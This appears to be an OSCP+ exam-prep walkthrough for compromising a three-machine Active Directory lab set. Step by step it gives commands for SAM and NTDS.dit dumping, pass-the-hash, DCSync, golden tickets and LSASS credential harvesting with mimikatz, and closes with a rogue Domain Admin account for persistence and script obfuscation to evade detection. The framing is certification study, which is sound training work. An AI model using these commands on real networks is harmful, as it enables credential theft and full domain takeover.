oscp+

Setup and Pre-Login Preparation

1. **Log into VPN/Network Environment**:
   - Connect to the network where the AD machines are hosted. This may be provided via a VPN or directly if it's a local lab setup.
   - Confirm network connectivity by pinging each machine in the set.
2. **Credential-Based Login to Machine #1**:
   - You have been given a username and password. Use it to try logging in via:
     - **RDP**: `xfreerdp /u:<username> /p:<password> /v:<Machine1_IP>`
     - **WinRM** (if allowed): `evil-winrm -i <Machine1_IP> -u <username> -p <password>`
   - If successful, you'll have your initial foothold on Machine #1.

Machine #1 (10 Points) - Initial Foothold and Privilege Escalation

Once logged into Machine #1, we'll begin by performing some basic enumeration to understand the environment and seek ways to escalate privileges.

Step 1: Basic Enumeration

- **Hostname and IP Configuration**:

  ```
  hostname
  ipconfig /all
  ```

  This will provide information about network configuration and potential subnet ranges to scan later.

- **List Local Users**:

```
net user
```

Enumerate local users to understand available accounts and check for any inactive/legacy accounts that may have weak passwords.

- **Shared Directories**:

```
net view \\\\<Machine1_IP>
```

Check for accessible network shares that may contain sensitive information or further login credentials.

Step 2: Privilege Escalation Techniques on Machine #1

Technique 1: Service Misconfiguration

- **Identify Services with Weak Permissions**:

```
sc query state= all | findstr "SERVICE_NAME"
```

  - If you find a vulnerable service that allows file modifications in its path, replace its executable with your own payload to gain higher privileges.

Technique 2: Password Hunting

- **Search for Sensitive Files in Common Directories**:
  Configuration files often contain clear-text passwords or connection strings with credentials. Look in `C:\\ProgramData`, `C:\\Users\\All Users`, and application-specific folders like `C:\\Program Files`.

```
dir /s /b C:\\Users\\Public\\*.config
```

Technique 3: Dumping SAM Database

- If you have administrative privileges or gain access to the SAM (Security Account Manager) file, try to dump it:

```
reg save HKLM\\SAM sam.save
reg save HKLM\\SYSTEM system.save
```

- Use `secretsdump.py` (from `Impacket`) on the extracted SAM and SYSTEM files to obtain password hashes.

Machine #2 (10 Points) - Intermediate Machine and AD Enumeration

Assuming you now have credentials or a hash from Machine #1, we'll attempt to log into Machine #2.

Step 1: Lateral Movement to Machine #2

- **Pass-the-Hash (PtH)**:
  - If you obtained NTLM hashes, authenticate to Machine #2 without knowing the password:

    ```
    psexec.py <domain>/<username>@<Machine2_IP> -hashes <NTLM_hash>
    ```

- **Credential Reuse**:
  - If you have plaintext credentials, log into Machine #2 using the same RDP/WinRM methods as for Machine #1.

Step 2: Active Directory Enumeration on Machine #2

- **AD User Enumeration**:
  - **PowerView** (`Get-NetUser`) can be used to list all users in AD. Try:

    ```
    Get-NetUser | Select Name, SamAccountName
    ```

- **List Group Memberships**:

```
Get-NetGroupMember -GroupName "Domain Admins"
```

Step 3: Privilege Escalation Techniques on Machine #2

Technique 1: Group Policy Preferences (GPP) Abuse

- Check for `cpassword` in the SYSVOL share to obtain plaintext passwords stored in XML files.

```
dir \\\\<domain>\\SYSVOL\\<domain>\\Policies\\ /s /b | fin
dstr cpassword
```

Technique 2: BloodHound Analysis

- Use **SharpHound** to gather data for BloodHound, which will help identify attack paths to privileged accounts:

```
.\\SharpHound.exe -c All -d <domain> -u <username> -p <pas
sword> -f AllData
```

- Upload the data to BloodHound and examine the graph for possible privilege escalation paths, especially for “Shortest Path to Domain Admins.”

Technique 3: Scheduled Task and Service Exploitation

- Check for any writable scheduled tasks or services that may allow privilege escalation:

```
schtasks /query /fo LIST /v
```

Machine #3 (20 Points) - Domain Controller

This machine is the Domain Controller, the ultimate target, where final credentials and flags are likely stored.

Step 1: Targeted AD Attacks on Domain Controller

Technique 1: DCSync Attack

- If you have privileges for `Replicating Directory Changes`, execute a DCSync attack using `mimikatz`:

```
mimikatz # lsadump::dcsync /domain:<domain> /user:<target_user>
```

Technique 2: Dumping the NTDS.dit Database

- **Locate and Copy NTDS.dit**:
  - Find the NTDS.dit file (usually in `C:\\Windows\\NTDS\\`). Copy both `NTDS.dit` and the `SYSTEM` registry hive.
- **Extract Credentials**:
  - Use `secretsdump.py` to dump credentials from NTDS.dit:

```
secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL
```

Step 2: Golden Ticket Attack for Persistent Access

- **Create Golden Ticket with Mimikatz**:

```
kerberos::golden /domain:<domain> /sid:<domain_SID> /krbtgt:<NTLM_hash> /user:Administrator
```

- This attack will allow you to generate valid Kerberos tickets and impersonate any user indefinitely.

Step 3: Credential Harvesting with LSASS

- Dump LSASS to retrieve clear-text credentials directly:

```
mimikatz # sekurlsa::logonPasswords
```

Post-Exploitation and Flag Collection

1. **Flag Locations**:
   - Check for flags on each machine, usually located in `C:\\Users\\Public` or another specified directory.
   - Ensure to take screenshots as evidence and document each flag's path.
2. **Persistence Setup (If Required)**:
   - If allowed, create a new domain user and add them to privileged groups:

```
net user new_admin <password> /add /domain
net group "Domain Admins" new_admin /add /domain
```

Additional Tips for Efficiency and Stealth

1. **Use Stealthy Enumeration Tools**:
   - `Invoke-Obfuscation` can obfuscate PowerShell scripts to bypass detection.
2. **Document Everything**:
   - Log all commands, paths, flags, and credentials obtained for accurate reporting.
3. **Alternative Login Techniques**:
   - If RDP or WinRM fails, try `SMBexec`, `CrackMapExec`, or `evil-winrm` as fallback methods.

This comprehensive guide, with specific commands and explanations, should help you navigate each machine effectively and capture maximum points on the AD set. Good luck!